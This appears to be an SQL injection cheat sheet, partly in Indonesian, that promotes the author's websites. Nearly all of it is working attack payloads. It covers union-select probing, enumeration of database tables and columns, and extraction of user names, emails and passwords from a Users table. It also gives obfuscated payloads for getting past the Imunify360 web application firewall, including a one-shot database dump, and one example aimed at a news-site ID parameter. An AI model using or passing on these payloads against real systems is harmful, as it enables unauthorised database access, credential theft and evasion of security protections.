SQL Injection Tips and tricks

SUPPORT ME IN       : --> https://salamedia.id
JUST VISIT SITE     : --> https://jawabaratcyber.com


CHEATSHEET SQLI
===============

-   -- : MySQL Linux Style
-  --+ : MySQL Windows Style
-    # : Hash (URL encode while use)
- --+- : SQL Comment
- ;%00 : Null Byte
-    ` : Backtick

-  2' order by 1--+- : Normal
-  2' order by 2--+- : Normal
-  2' order by 3--+- : Normal
-  2' order by 4--+- : Error

-  https://example.com/index.php=' union select 1,2,3--+-

-  https://example.com/index.php=2' union select 1,@@version,3--+-
---------------------------------------------------
-   @@version — menampilkan Versi database
-   user() — menampilkan Nama User database
-   @@hostname — menampilkan Hostname
-   @@tmpdir — menampilkan Direktori temp
-   @@datadir — menampilkan Direktori data
-   @@basedir — menampilkan Direktori base
-   database() — menampilkan Nama Database
-   schema() — menampilkan Database yang dipakai
-   session_user() — menampilkan Session User
-------------------------------------------------

- https://example.com/index.php=2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+-

- https://example.com/index.php=2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="Users" --+-

- https://example.com/index.php=2' union select 1,group_concat(id,0x3a,Name,0x3a,Age,0x3a,Rank,0x3a,Email,0x3a,Password),3 from Users --+-

- https://example.com/index.php=2' union select 1,group_concat('Name:+',Name,'<br>Email:+',Email,'<br>Password:+',Password,'<br>------</br>'),3 from Users --+-

------------------+
BYPASS IMUNIFY360 |
------------------+
- UNION SELECT
/*!50000UnIoN*/ /*!50000SeLeCt*/

- COMMAND
user/**_**/()
database/**_**/()

- DIOS (DUMP IN ONE SHOOT)
(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)

- USED
berita-detail.php?id=3' /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,user/**_**/(),(/*!50000select*/+concat+(@:=0,(/*!50000select*/+count(*) from+/*!50000information_schema.tables*/+WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND@:=concat+(@,0x3c62723e,/*!50000table_name*/)),@)),5,6--+-